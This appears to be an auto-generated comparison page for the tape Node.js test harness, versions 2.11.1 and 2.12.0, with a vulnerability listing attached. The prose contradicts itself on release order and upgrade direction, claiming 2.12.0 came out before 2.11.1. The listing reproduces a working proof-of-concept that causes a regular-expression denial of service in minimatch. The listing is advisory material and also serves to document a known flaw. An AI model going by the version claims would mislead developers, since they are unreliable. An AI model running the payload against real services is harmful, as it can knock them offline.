Tape is a minimalist, tap-producing test harness for Node.js and browsers, designed for simplicity and ease of use. Comparing versions 2.11.1 and 2.12.0 reveals a focus on maintaining a stable API and enhancing the developer experience without introducing significant breaking changes. The dependency structure remains largely unchanged, with glob, defined, resumer, through, inherits, deep-equal, and object-inspect forming the core runtime dependencies, and tap, falafel, and concat-stream supporting the development process.
While the core functionality and dependencies appear consistent, a key difference lies in the release dates. Version 2.12.0 was released earlier, suggesting that version 2.11.1 might contain bug fixes, performance improvements, or minor tweaks accumulated since the earlier release although no substantial changes in the core functionality or dependencies are present in the metada. For developers, this implies that upgrading from 2.11.1 to 2.12.0 would primarily be for staying current, rather than gaining access to major new features.
Tape's enduring appeal stems from its straightforward approach to testing. It eschews complex configuration and provides a clean, unopinionated testing environment, allowing developers to focus on writing effective tests. Changes between minor versions are typically incremental, ensuring backwards compatibility and minimizing disruption during upgrades. The library is well-suited for projects of any scale due to its small footprint and uncomplicated design.
All the vulnerabilities related to the version 2.12.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.